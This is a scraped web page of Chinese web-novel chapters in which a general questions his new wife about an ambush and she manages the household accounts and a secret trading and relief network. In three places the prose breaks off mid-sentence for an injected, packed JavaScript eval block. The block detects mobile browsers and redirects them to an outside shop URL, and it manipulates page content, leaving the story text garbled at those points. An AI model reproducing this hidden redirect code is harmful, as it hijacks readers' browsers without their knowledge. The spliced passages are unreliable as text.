《乱世双雄为她折腰》 3. 回府 男人洗澡总是要快一些,即使有心拖延,也拖不了多久。 凌越换上驿丞着人准备的干净中衣,从屏风后转出去,便见自己那还不太熟悉的妻子仍好好端坐在烛火前,明净的脸上泰然自若,看不出半点不安。 就和半个时辰前,瞧见那一林惨烈的人马尸首时一样,仿佛早已看惯了似的。 他微微狭眸,想起方才崔耀卿离开前提醒他的话,“夫人今夜处变,不似平常贵女。” 他当时回答,是人是鬼,我自会查清。 这会儿看来,即使是鬼,倒也是个神清骨秀,霞姿月韵的鬼。 可惜,美色对他无效。 “夫人,想好了?”凌越悠悠向她走近两步。 “我实在不知将军要我想什么?” 栖循站起身望向他,这才发现凌越沐浴后,中衣系得随意,衣襟里露出了一大片肌理分明的强健胸膛,她错开眼,面上带着些无辜,“该解释的在刚遇到将军时,我都已经解释过了。” “是吗?”凌越低笑一声,不疾不徐地道,“我进来前,已问过长右,逃出大觉寺后,你目标明确地指点他穿过了两片荒林,还拐了七八道弯,才跑上了往河东那条土路。” “虽说其他易行的路可能有埋伏,但同样也有机会求援,而你选的这条路,却不仅难,且要再跑出三十里才有第一个军所,这一把未免赌得太大了,怎么倒更像是……早就知道我会在那儿?” 这番分析正精准地抓到了栖循那解释里的漏洞,可那又如何? 栖循眼波轻转,她刚刚已想好了,凌越怀疑再多,都无一实证,只要她自己抵死不认,他难不成还能把自己这正室夫人就地正法不成?先糊弄过去,以后有的是办法叫他信自己。 她声音忽而低柔了些:“其实也确实算是知道将军在那儿。” 凌越微讶:“哦?” 栖循抬睫,一双眸子如含着碎光:“当时我虽极为惊慌,可冥冥之中,心里却好像有个声音在牵引着我往将军的方向走,这兴许就是我和将军的因缘,只有夫妻才能这般心灵相通?” “……” 还真说上鬼话了。凌越一时无言,先前见她思绪明晰,颇有才智的样子,没想到答不上来,竟会直接耍起无赖。 他不再纠结于此,转而又问:“那么夫人过去这么多年一直缠绵病榻,连屋子都甚少出,如何竟突然会骑马了?”顿了顿,又补了一句,“骑得还挺不错。” “是我特意学的,”栖循依旧面不改色,“我心悦将军已久,自从赐婚之后,心中更是极为欣喜,可又想到将军乃骏马上的魁伟男儿,我若不会骑马,岂不是会叫将军看不上?所以才特意撑着病体在成亲前学会的。” 心悦他?凌越挑了挑眉,京中爱慕自己的女子确实很多,但眼前这个真的嫁给自己的……他又打量她一眼,忽然欺身上前:“我竟不知夫人对我用情至深,但不知这病体究竟是什么病?怎么时好时坏,如此随意?” 另一个人的气息骤然靠近,栖循不由跟着后退了一步,她不惧凌越身上的气势,但也不习惯和男人,尤其是眼前这个男人如此亲密: “将军何必这般怀疑我?两个时辰前可是你亲手救了我,若是我要害你,又怎会把自己搭进去?” 她的语速微不可察得快了些,凌越一直仔细注意着她的反应,这点细微的变化逃不过他的耳朵。 他立刻便趁势又逼近一步,馆驿最宽敞的客房也没多大,这一下就将人挤到了身后的床架子上,他右手捏起了她的下颌,压低清醇好听的声音,将话挑明了: “我听说赐婚前,陛下曾特意召见叶侯爷,怎知不是陛下许诺了叶家什么,才让你宁愿以命来换?你我已是夫妻,你若现在据实相告,我自会保你叶家平安,将来亦可许你尊荣。” 栖循心里再明白不过这是他的试探,恩威并施的试探,可凌越突然靠得如此之近,高峻的身形几乎压到了她,轻拂在颊侧的气息熟悉又陌生,男人宽阔胸膛似乎都散发着灼热,让她一时几乎屛住了呼吸。 “我……” “嗯?如何?” 凌越又欺近一些,低头看着人的眸光浓酽幽黑,高挺的鼻尖几乎要碰到栖循。 呼吸相闻,栖循只觉那被结实的腰腹轻轻贴住的一侧,好似烫了起来,不知怎么,她忽地想起了方才在屏风上看到的那可怕的东西。 一瞬间,大婚那夜,在自己身上驰骋了半宿的精悍身形和喷洒在耳边的暗哑喘息,与眼前的男人完全重合起来。 栖循一阵心悸,她竭力控制住双颊的热意和心跳,可开口时还是带上了一丝慌乱: “将军这么说未免太不讲理了,叶家根本没有得到过什么陛下的许诺。这件事明明是我受了将军的牵连,谋划了此事的人怕将军被害以后,有人借着我这遗孀的名义搅起风波,所以要连我一并除去。将军却反而来怀疑我,还要我据实相告,我现在说的就是实话!” 一番话急促地说完,却是没有马上等来回应。 凌越神色微诧,眼看着一丝绯红从那雪白的耳朵尖,慢慢蔓延过整张清丽的脸庞,烧成了一片绚丽的霞彩。忽而,领悟了什么,唇角不由轻轻勾了勾: “还真是伶牙俐齿。” 说着,他竟放开了她,且立刻侧过脸,往旁边迈了一步,先躺进了床内:“天快亮了,先歇息吧,日后有夫人说实话的时候。” 可即便他及时侧过了脸,栖循还是看到了那双墨眸里的一点促狭,她一下明白凌越猜到了,一时只僵在床边一动不动,全身都像是要烧起来了,整颗心都在后悔—— 为什么没在成亲前多找几个俊美郎君相处相处呢?!这种事明明习惯就好了! …… . 一夜奔命,又经历一番唇舌,栖循疲惫至极,这一觉睡得又沉又长,醒来时,天光已经大亮。 身侧早就空了,她并不意外。虽然只在府中同床共枕过那一次,但凌越的作息她了解得很清楚。 洗漱完推开门,长右正守在门口,不用她问便自觉禀报,将军一早就带着部分精兵和附近村子募来的百姓去昨夜的厮杀处掩埋尸体了,以免引起疫病。 栖循点头表示知道了,又听他说起一些昨夜的战斗情况,原来凌越原是想留俘审问的,但那些敌兵竟是死士,见跑不掉,宁愿咬毒药自尽。 她蹙了蹙眉,培养这么多死士可不容易。 在馆驿等到快过午,凌越回来了,栖循权当作已忘了昨夜他们那番对质和尴尬,淡声问道:“将军,不知那些人的身份可有什么线索?” 凌越看她一眼:“所用甲胄、兵器和战马都未发现特别之处,亦看不出与哪支军队有关,夫人若有什么高见,不妨说来听听?” 栖循:“……将军都看不出来,何况我一个女流?只是本想回去后可以跟陛下告一通状,这么看来也不过是一群绿林贼罢了。” 她抬头轻抚了下鬓发,又漫不经心似的加一句,“我是为将军不平,白白折损了许多精兵,还差点把自己夫人也折进去。” 这话重点全在后半句讽刺上,凌越有些好笑,暂时也分不清她是真无辜委屈还是故意演的,只道:“有我在,自会保夫人安全,至于是不是绿林,你我心中皆有定论。” 绿林自然不会是绿林,要是绿林配得起这般甲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13626977|143538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胄和战马,这高家天下早五十年就没了。 不过有亲卫和兵卒在,二人都没再多说什么。 在馆驿吃过饭后,凌越留了一个副将和十来个精兵在山里指挥百姓继续挖坑埋尸,其余人便整队出发,踏上官道回京。 栖循戴着帷帽,策马落后凌越半步,刚上路,就发现那个谋士崔耀卿不见了。 她心底透亮,昨夜的事乃图穷匕见之兆,高贽这个皇帝已经不止是忌惮,而是完全容不下凌越了,回京后必然有更多明枪暗箭等着他。 ——所以没猜错的话,崔耀卿应当是被凌越安排一路往北,去北军和那几个郡了…… 因带着那折损的三十几个士兵尸身,队伍走得不快,行了将近两个时辰后,申时正,才从明德门进了城。 京城繁华一如既往,街头酒旗彩幡招展,人流如织,仿佛与外面战火四起的州郡不在一片天空下。 而如今掌着这片天的这位,整日只知荒淫享乐,怠于政事,就连回京复命的将领都不让直接去大明宫觐见,而是先回府候着,等这位陛下当日玩儿尽兴了,再召进宫里。 是以进城后,凌越派人往大明宫送了信,还是和栖循一路,沿朱雀大街行到底,往右进安兴坊,经过半街朱门大户,最后停在了高大威仪的将军府门前。 长右上前叩开门,两列府卫迎了出来。凌越下马,将缰绳扔给长左,余光扫了眼身侧,率先跨进门去。 然而,一进前院,他的脚步就顿住了。 栖循摘了帷帽,从身后走上来,觑了眼他的神色:“四月前为将军送行时,我曾问过能否改动府内景致和摆设,可是将军自己说的随我呢。” 凌越:“……” 话他确实说过,当时看她垂着眼,一副娴静乖顺的样子,只以为她要在自己院中做些小打小闹的改动,必没胆子乱来,所以也就随口应了,结果—— 只见宽阔的前院里,原先两个奇花异草姹紫嫣红的大花圃全被填了,代之以沿墙新植的翠绿修竹,原先的几座假山怪石也消失了,代之以几株道旁桂树,廊檐下的七彩琉璃灯亦全被摘了,换成了古朴的乌木雕花六角风灯,最没料到,是连那描金绘彩的廊柱和阑槛都被重新上了一层素漆…… 这女人是直接给他换了个宅子吗? 凌越额角微抽,倒不是改得他不喜欢,正相反,现在这清雅厚朴且更加开阔的模样甚合他心意,问题在其他地方。 这座将军府大宅乃他破突厥后皇帝御赐,内里也是皇帝命人按着京城贵家最时兴的样子修葺营造的,其实他第一次踏进来时,就被那浮夸奢华的“风貌”腻了眼,当时就想全部推翻重来。 那为何后来没弄呢?因为他的好管家给他算了一笔账。别看有些东西外表素雅质朴,价格可一点不低,甚至比那些看着奢华的物件还贵,比如那个六角风灯,就比七彩琉璃灯还值钱得多。 要给偌大将军府里外重新捯饬一遍,那价钱都快够给整个北军发一年军饷了。 而在他接手之前,北军的军饷已经连续五年没有足额发放了。不止是北军,其他各地军队的军饷就没有不被克扣三分的。 京城里这些贵门富家砸金银买破石头装点豪宅的时候,前线的士卒在半饿着肚子拼命。 但,这些不是怪罪别人的理由,话是他自己放出去的。 凌越喉头动了动,忍着心里的一点肉痛,淡淡对身边人“嗯”了一声:“改得倒还有几分雅致。” 栖循却已从他的俊脸上看出了端倪,如描的眉梢一扬,正想解释什么,忽听身后传来带着笑意的尖利声音: “凌将军,陛下宣召,请随奴婢进宫觐见吧!” 4. 算账 凌越随内侍进宫后,栖循便回了自己的院子。 她去大觉寺时带的两个贴身侍女如葵和如棠,昨夜留在大觉寺内,并未遇到什么危险,今早已被长右.派人接回了府,这时二人已在院中为她准备好了点心、茶汤和香浴。 栖循惯是会享受的,在馆驿时只是简单清洗,这会儿回了府泡进香汤里,如棠给她轻柔地按着肩洗着发,才终于觉得浑身舒坦了,她又拈了一小块精致的点心,听两个侍女讲起了昨夜寺内的情况。 昨夜她逃出大觉寺没多久,寺内的火就被扑灭了,长公主“发现”她失踪后,便假意派了随行禁军四处搜寻,还假惺惺地当着一众命妇贵女抹泪自责,结果黎明时分,大约是收到了凌越和她都还活着的消息,这位长公主竟气得脸色铁青,天一亮,祈福也不祈了,直接打道回宫。 栖循听两人绘声绘色地说完,有些想笑,高家人是不是都是半吊子,连个戏都演不全,长公主如是,她那皇帝弟弟高贽也如是。 想当初高贽刚登基时,也是作的一副勤政贤明模样,又恰逢凌越将星出世,破突厥,夷吐浑,定内乱,将个快分崩离析的北边天下又生生拼回了一起,如此主仁将神,君臣相和的情形,让多少人看到了希望,都以为大殷在摇摇欲坠之际,竟出了个中兴之主。 可惜才没几年,高贽收回了大半皇权,就再也压抑不住本性,整日荒淫享乐怠于政事不说,还亲奸佞忌贤臣,尤其是不能容忍功高震主的凌越,欲除之而后快。 不过说起来,若非高贽忌惮,叶家也没有机会高攀上这一门亲事。 出身将门,天纵英才,还生了个郎艳独绝、英姿挺拔的好模样,本来凌越想和朝中哪个重臣联姻都不是问题,最后却因一纸赐婚,被迫娶了自己这个破落侯门之女。 栖循又想到凌越昨夜提到,她父亲曾在赐婚前被召进宫的事,其实高贽还真是揣着拉拢叶家的心思,想让她做个眼线内应。可惜她父亲脑子里没那根筋,当时压根没听懂高贽话里深意,至于她自己,当然也绝不会助纣为虐。 泡得有些久了,她站起身,就这么走出了浴池,烛火映照下,无数晶莹的水珠从纤长赤.裸的身体上滑落,楚腰腻细,雪肤玉泽。 如棠连忙拿起宽巾,追上去将人裹住了。 栖循不甚在意,拨了拨湿润的乌发道:“留意着尧光阁的动静。” 尧光阁便是凌越的住处。两个侍女对视一眼,如葵轻快地回道:“放心吧,夫人,奴婢早就交代过了,将军一回来,就会有人来报的。” 这话里带着喜悦,栖循晓得两人误会了。 自大婚夜那般圆过房后,凌越就再没来过这院子,甚至夫妻二人都没怎么再见面说过话,两个侍女都为她着急,大概以为这次他们一起回府是有了什么转机。 她笑笑,也不多解释,用了暮食后,就取了卷书,耐心等着。 这一等却是等到了亥时,如棠皱着眉从外头进来:“夫人,将军还没回呢。这宫宴寻常都弄得这般晚么?” 栖循思索片刻,料想是昨夜没能在外面要了凌越的命,今夜高贽得更用力地作出一副君臣相宜的样子,毕竟他还不能和凌越撕破脸不是?便笑着随口道:“陛下向来喜欢和臣子同乐,大约太高兴忘了时辰吧。” 不想,如棠听了,眉皱得更厉害了,凑过来小声问:“夫人,那外间传言陛下那个‘同乐’究竟是不是真的?将军他……” 高贽的那些荒淫.秽烂么? “只怕比你听到的还真一些呢,未出阁的小丫头别乱打听。”栖循笑起来,不由想起圆房那夜,凌越应当是个洁身自好的,这般同乐可有得他受的。 嘴角不由又勾了勾,她放下手里书卷,“不等了,伺候歇息吧。” . 翌日起身,仍是个万里无云的好天气,窗外一片浓绿。 梳完妆,在偏厅用早食时,如棠又来禀报:“夫人,听长右说,将军昨夜亥时末才回的府,今日一早又上朝去了。” 栖循昨晚就料到了这情况,高贽如今虽然不怎么上朝,但镇军大将军平叛归朝,路上还遇了袭,怎么也得意思一下。 “不急,今晚上总能见着。”她放下手中的官窑小盏,“把府里的账本和外面的账本都取来,再通知沈贵和青丘尽快回来。” “好呢,夫人。”如棠和如葵立刻应了,不一会儿,两人吭哧吭哧从内室抱出两大摞账册来,小心放在书案上后,又给整理了一下,如棠才出去派人送消息了。 栖循扶了扶发髻上的掐丝花冠金簪,走到案前。 案上的蓝封账册被两个侍女分成了三叠,左边两叠厚厚的都是她在外面的产业账本,前些天沈贵刚送上来的,剩下的一叠是将军府内的账本,薄薄的两册。这两册当然不会是将军府所有的账本,只不过是内宅的账本罢了,府上的大头轮不到她这夫人插手,都是管家在掌着,那是凌越从武川凌家族地带来的人。 栖循翻开上面那一册,看了一会儿,吩咐如葵研了磨,提笔在上面添了些详细,写完,她便放在一边不再去管,开始专心查看那两叠厚厚的账本…… 这一日便都沉浸在那些账本中,直到晚上掌灯时分,仍余好些未看完,如棠却高高兴兴地来禀报了:“夫人,将军回来了!” 栖循放下手中账册:“回尧光阁了?” 如棠点头说是:“先和穆将军在前边一起用了暮食,送走穆将军后,就回尧光阁了。” 栖循站起身来,拿了早上添过几笔的账本在手中,轻笑道:“那还不走?” 将军府虽然很大,但将军和将军夫人的住处自然并不远。 主仆三人只走了不一会儿,便到了尧光阁门口,正见管家钟仪从阁中出来,钟仪见到夫人似有些惊讶,连忙让到一边,和楼下的几个守卫一起行礼:“见过夫人,郎君正在二楼寝房。” 栖循对他微微颔首,带着如棠如葵继续往里行去,等到了二楼,便见有通亮的烛光从寝房里映出来,她站在门前,轻轻扣了两下,听里面传出已有些熟悉的清沉嗓音:“进。” 侍女为她打开了门,一踏进去,栖循便闻到淡淡的松木清香。 极为宽敞的屋子里,布置和摆设雅致而古朴,一应家什皆用乌木,两侧架子上几件上等细瓷,东墙上挂一把龙舌长弓;正中一架八折轻绡屏风,上绘江山雪霁图,屏风前一张乌木长案,上置文房四宝,右侧设有高几,几上一只鎏金狻猊香炉…… 当时改动府内景致和摆设时,并不敢动尧光阁,是以栖循还是第一次来凌越的寝房,没想到,这里本来就不用改。 “夫人过来,可是有事?” 乌木长案后的英朗青年换了一袭松霜白常服,墨玉冠发,正微微垂首,笔下如走游龙,开口时,只稍稍抬了抬眼睫,视线便又落回案上。 栖循轻挑眉梢,往书案踱了几步,望着他曼声道:“前夜在京郊外遇险,受了莫大惊吓,今日方才好了一些,因此听说将军回来了,便想来问问,陛下对前夜的事是什么说法?” 凌越笔尖微顿,唇边泛起些嘲意:“夫人不是已经知道了么?陛下和中书令等都认为那些就是绿林贼,只不过,他们是怎么绕过翼州和洛州进入京郊之地的尚不清楚。陛下已派了御史中丞亲自查清此事,另外,作为慰勉,不日他便会加封我为柱国大将军,夫人马上就要从镇军大将军夫人变为大将军夫人了。” “哦?是吗?”栖循走到了案前,发现他是在写一份折子,“那长公主那边又如何说?我堂堂大将军夫人,可差点在她眼皮子底下丢了命。” 凌越笔下未停,随口反问道:“陛下已训责过长公主,长公主不是也已给夫人备了厚礼赔罪吗?” 栖循微扬了扬下颌:“确实送了‘厚礼’过来,但将军可看过那赔罪的礼单?” 长公主那所谓的厚礼正是今日下午送来的,两大箱东西看着挺多,却没一件能让人瞧出诚意的,能瞧见的就只有对叶家对她的轻视和鄙薄,不过,栖循其实并不在意皇帝姐弟俩的态度,她另有目的。 凌越的折子写完了,他将笔放回笔架,淡扫栖循一眼:“看了又如何?” “看了就好,既然看了,我想将军也能瞧出长公主之敷衍轻视,”栖循双眸定定地望着凌越,“将军觉得,她为何敢如此轻视大殷唯一的大将军夫人?” 当然是因为自己并不在意这个夫人,甚至也在轻视她。凌越终于将注意力都放到了这场对话上,他看到女子明澈的眼睛里分明是笃定和狡黠……也可能是聪慧,他还不能确认。 “夫人如果这么在意此事,”他低笑一声,“我明日或可请陛下再训斥长公主一次,让长公主再赔一次罪?” 栖循皱了皱眉,凌越故意避开了正面回答,还倒将她一军,真要让他这么做了,他都可以直接以此为由休了自己,高贽都没法说什么。她轻哼道:“那倒不必,怎么能让将军为了我,与陛下和长公主闹得不开心呢?” “那就多谢夫人明理懂事了,”凌越不太认真地回了一句,又道,“我府库里有不少奇珍异玩,明日让钟仪带你去挑一挑,有喜欢的取走就是,权算作补偿吧。” 栖循自然不稀罕什么奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13626978|143538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珍异玩,不过转念一想,她又有些好奇凌越的府库是什么样的,当下也就没有拒绝,只话锋一转:“我来找将军还有一事。” 说着她已将手中的账本打开了,放到凌越眼前,“上次重新布置府内景致和摆设的各项出入,还请将军过目。” 凌越倒没想到她还会提及此事,本只打算垂目随意看一眼,免得心疼一年的军饷,谁知,这一看便怔了怔,接着他又迅速翻了几页,片刻后,抬头看她:“一块石头,你卖了五千两银子?” 栖循唇角一弯:“这太湖怪石是将军府里的,将军蹈锋饮血战无不胜,这石头自然那也有镇妖除邪的效果,何况这将军府又是陛下御赐的,算起来,这怪石还沾了皇家之气,怎么不能卖五千两?” 凌越:“……” “那这琉璃风灯,又怎么卖到了一百两一盏?” “这琉璃风灯乃是五十年前西域高僧胡挈罗来大殷时所携带,由高僧亲自开过光的,”栖循笑眯眯的,“哪是寻常琉璃灯可比?一百两一盏还便宜了呢。” 凌越:他怎么不知道自己府里挂的是高僧开过光的东西? 不过,他倒是想起来了,此女的母家是商贾之家,此女外祖父曾是江南四富之一…… “买这些东西的又是哪些人?”他换了个问话方向。 “自然都是京城里的贵家富商,”栖循毫无愧色地回答道,“将军不必替他们心疼钱,更不必觉得是我们将军府骗了他们的钱,会信这些买这些的人本就都是京城里最爱斗富最爱显摆的,只要故事讲好了,越贵他们越爱买,越贵他们越高兴。更何况他们的钱十有八九还都不是正经来路呢。” 他倒并不会替这些人心疼钱……凌越望着她若有所思,他只是惊讶于她一个后宅女子对这些事似乎很是老辣。 栖循见他没有什么再问,便径自走到了案后,站去他身边,然后将账本翻到最后,纤白的手指指过去: “府中原先那些摆设布置总共卖了二十万两银子,重新布置府内只花费了十万两银子,我又拿六万两买了米粮,用来赈济京城附近的穷苦百姓,现在还结余了四万两。” 赈济百姓?凌越心中一动。 栖循微微仰起头,继续道:“这次我能获救多亏了那五百骑兵的骁勇作战,将军也说了要给他们记大功,这剩下的四万两就用作对他们的赏赐和抚恤,可好?” 凌越的目光从账册移到她脸上,并没有马上回答。他还不能确定眼前的女子究竟是不是受高贽亦或是其他什么人的控制,刻意来接近自己,如果是的话,那么她的手段确实比其他女子更聪明。 “这样可好,将军?”见他不作声,栖循又问了一次。 “很好,”凌越低头看着她,笑了笑,“那我就先替那些将士们谢谢夫人了。” 栖循闻言,眉眼一弯,亦对他粲然笑了笑。 仍是暮夏,她穿了薄纱的高腰襦裙,露出一片雪白的脖颈和胸脯,发上还簮着那支掐丝花冠金簪,烛火中这一笑,便称得一双眸子如盛着秋水般,婉婉动人。 两人并肩站着,离得很近,凌越突然便记起了那一夜,她在自己身下时,这双眸子里当真盛着水的样子,只要他用力一些,那两汪秋水就会盈盈晃动,再到后来,就被他彻底撞散了,碎成断了线的珠子。 烛火闪了闪。 凌越回过神,发现自己动了欲念。 可这有什么不行的呢?无论是不是受人指使,她都是自己的妻子,燕亵之事天经地义。 栖循自觉表现很好,今夜目标达成,对凌越笑过后,便道:“那就这般定了,将军早些休息。” 说完就要转身离开,不想,一只强健有力的手臂忽然揽到了腰间,她还未反应过来,人已被霸道地带了过去,撞上了男人坚硬的胸膛。 “将军?” 她吓了一跳,抬头,却见凌越眼底比平时更加墨黑幽深,仿佛带着钩子,她一愣,似是明白了什么。 “夫人也可以在此处休息。” 凌越揽着怀里的人,微微低头,闻到她身上淡淡的清香,也和那夜一样。 正想着下一步,忽地被她轻柔地按住了手。 “将军,我今日身子不太爽利,还是回自己院子休息吧。” 说话的气息犹在颈侧,怀里的人已趁他不备,用力一挣,脱了出去,那双眸子笑得愈加流光溢彩: “将军请好好休息。” 凌越:…… 片刻后,栖循轻快地踏出了尧光阁的院子,想到前夜在馆驿的事情,只觉扬眉吐气,神清气爽。 5.心之所向 清晨的风徐徐送进窗内,一丛绿意在信笺上落下晃动的光影。 栖循意态闲适地靠在美人榻上,正在翻看父亲今早派人送来的信。 她父亲刚知晓女儿在大觉寺遇险的事,吓得不轻,信中絮絮叨叨说了许多,多是愧疚自责,愧疚于自己无用,无法在官场立足,愧疚于没权势没能力保护儿女,还愧疚于当初不敢推拒高贽的赐婚。 栖循看到最后,轻轻笑了笑,他父亲未免想得太简单。 如今大殷国祚将尽的迹象已越来越明显,等真走到末路那一天,这繁华京都的一切都将化作云烟,什么权势地位、高官厚爵、金银珠宝都没什么用,乱世之中,唯有手握重兵的人,或者有手握重兵的人庇护,才能好好活下去。 她当初不是没有办法拒绝赐婚,她只是选择了凌越而已。 且选择凌越,也不仅是为保护叶家这几十口人,她亦有自己想做的事,亦有自己的心之所向,目前看来,凌越就是最能实现她心之所向的人。 可惜大觉寺的遇险完全打乱了她的计划,以凌越的谨慎,要获得他的信任,必定得花更多心思了。 不过么,她折起信笺,悠悠想到,他要是不这么谨慎,她也不敢选他。 而昨夜之事,是个不错的开端,虽然最后出了点意料之外的状况。可她拒绝凌越的求欢也不是简单地为找回面子,而是若就那么依了他,事后只会让自己看上去更像什么美人计。 况且,要取得凌越这样的人的信任,必得以真性情相对,昨夜那样应对便是她的真性情。 栖循不再多想,从榻上站起,走到书案前开始给父亲回信。 回到一半时,如棠叩门,报沈贵到了。 沈贵名义上是替她料理嫁妆产业的管事,实际上却远不止于此。 栖循立刻道了进,搁下笔,处理更重要的事务 “小的见过夫人。”沈贵长着一张极不起眼的中年男人的脸,一进门便躬身行礼。 “不必多礼,”栖循叫如棠奉了茶,便直入正题,问道,“前三月的账本我大略扫了一眼,似乎各地的收益都降了两成以上?” “启禀夫人,确实如此,”沈贵对此早有准备,极有条理地回答,“降两成是普遍状况,多是所在州郡又生了小的兵乱匪乱,当地民生愈加艰难,导致原本咱们只需拿城里酒楼妓馆各色铺子的一成利来接济百姓,如今却至少要三成利才能保证不死太多人。” “另有涿州、靳州等数个州县降利超过了四成,乃是因这几地生了旱灾、地动等灾祸,不光城中的生意受了影响,咱们还要采办大量药材救治百姓,耗费甚大。” 栖循听完,不由轻轻蹙了蹙眉,若有所思:“我怎感觉今年的旱灾和地动都比前几年多了。” “夫人没感觉错,今年确实更多,且每次波及州县也更广。”沈贵肯定道。说着却停了一下,觑了觑上方女子的神色,才低下头继续,“其实小的早有心想跟夫人商议,照这个情况下去,咱们生意再大,恐怕也撑不了多久,是否要减少一些对百姓灾民的接济?” 栖循仍在想着灾祸的事,这时听他这番提议,只沉吟了一会儿,便不容置疑道:“不必减少,前些日子福隆斋给我送来了新制的蝴蝶花簪,正好京城的时兴又该换一换了。” 沈贵听了这话微愣了愣,夫人的意思他当然明白。 所谓换时兴乃是指他们每隔一段时间,就会让名下的绸缎铺、首饰铺、香粉铺等弄些新花样出来,然后通过宫中内侍送去得宠的妃子公主手中,不出几日,这些新花样就会成为京城贵富的新时兴。 而此时城里的其他对手铺子还没那么快仿制出新时兴,他们便可将价格定得极高,先大赚第一笔;等到其他对手也制出来开始高价跟卖,他们再将提前备好的存货,以略低一些的价格快速出清,赚第二笔;最后,再将这京城的时兴带去其他州府,赚第三笔。 这是夫人十五岁时就开始行的法子,成功的关键是要和宫中最有权势的内侍搭上线,换成其他人就没这效果。这三年,他们也确实通过此项大赚了数百万银子,但…… 沈贵忧心道:“可是夫人,距离我们上次换花簪时兴才半年,若换得太频繁,只怕不利于长久生意。” “无妨,”栖循却笑了,“这桩生意与其他的不同,谁知道还能做多久?接下来我们便只需想着能赚多少是多少。明日我就让人带几支簪子给黄公公,你尽管吩咐各家铺子加紧赶制备货就行。” 沈贵咂摸出这话里的意思,心里微惊,连忙应了声,不再多言,转而谈起其他事项。 半个时辰后,两人将生意上和调查京郊伏杀的安排都商议完了,沈贵刚想告退,忽又想起另一桩事来: “夫人,小的还有一事禀报,安富坊那边最近出了一些乱子。” “上月我按夫人的交代,开始只给小乞儿接济吃食,断了那些成年灾民的赈济,并给他们安排了不同活计,但许是因都是些繁重的活,有许多灾民竟不愿意做,每日只去抢那些乞儿的吃食,乞儿中便有个挑头的,带着一帮孩子反击,两边已大打出手了几次,伤了好几个人,此事您看?” “总有这般不知好歹的人。”栖循听了却似也不觉太意外,神色平静道,“去雇一批打手,带上大棍每日在施济的棚子那守着,但凡有人再敢跟乞儿抢食,不用手下留情。打上几日,若那些人还不死心,便是打死几个也没什么。” 沈贵正等着这话,他家主子有悲悯之心,却也从来不是乱发善心,该狠的时候就狠,他在她手底下做事也做得痛快。 “是,小的这就去办!”他利索地应了,这才开口告退。退到门口时,又听栖循交代了一句—— “那挑头的乞儿倒有些游侠儿的气概,给他额外备两身衣裳,看看有什么能帮的吧。” 送走沈贵,栖循又把门口探头探脑的如葵叫进来:“沈贵都来了,青丘怎的还没到?” 四日前,青丘被派去警示凌越官道有埋伏后,又帮她做了些其他事,理应该回来了。 如葵:“夫人,奴婢正想跟你禀报呢,刚收到青丘递进来的消息,说是咱们院子四周突然多了几个暗桩,他一踏进来就会被发现,所以没敢贸然来复命。” “暗桩?”栖循怔了怔,随即笑了,“也是,没人盯着才奇怪呢。” 能在将军府里布置暗桩盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644189|143538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的,还能有谁呢?盯吧,盯着才好,她还怕他不够了解自己呢。 “告诉青丘安心等着,有安排我再通知他。”她想了想,又问,“他今日去西山军营了?可是会早回?” 如葵自然知道她问的是谁,连忙答道:“去了,但将军中午就回来了,用过午食后,去静慈庵给老夫人的灵位敬香了。” 静慈庵,栖循眸色动了动,露出些嘲弄的意味,一回来就迫不及待地去静慈庵,还真是好“孝心”。 这么想着,她顿时没了兴致去找他,也不再问什么,起身回到书案前,提起笔继续给父亲回信。 . 不想,那天没去找凌越,接下来一连好几日,这人忙于受赏加封的事及配合御史台调查所谓绿林贼,早出晚归,栖循都未能与他见面。 正想要寻个契机,第四日下午,如棠拿着一个卷成指节大小的信丸送进了偏厅:“夫人,黄公公递来的消息。” 黄恭仁?栖循还当是那花簪时兴的事出了什么问题,忙接过来展开看了,过了片刻,脸上神色却慢慢微妙了几分。 伺候在旁的如葵好奇道:“夫人,信里写了什么?” 两个贴身侍女都是信得过的,栖循并没什么隐瞒,看着纸条上短短几行字,慢慢道:“黄恭仁说,杨相公给高贽献策,要在两日后李令公府的赏菊宴上设计陷害凌越,提醒我小心行事。” 两个侍女一听这话,立时都紧张起来,如葵又问:“陛下刚害夫人和将军不成,怎么这么快又来?这次又要用什么法子?” “具体什么法子,黄恭仁也没能耐听到。” 但高贽要除掉凌越极为不易,凌越威望在外,在朝中亦有自己的势力,一个弄得不好,就会引起北军兵变,以清君侧的名义一路直上京都逼宫。 所以高贽只有两条路可走,一是像前几日那样伏杀凌越,再把责任推给绿林贼,二便是用些阴谋诡计,安个让人无可辩驳的罪名,光明正大的杀他。 可一个赏菊宴能翻出多大的事? 这事需要派人探查,栖循此时在想的却是另一个问题:“你们怎么就不奇怪,李令公要在两日后办赏菊宴的事,我竟然不知道呢?” 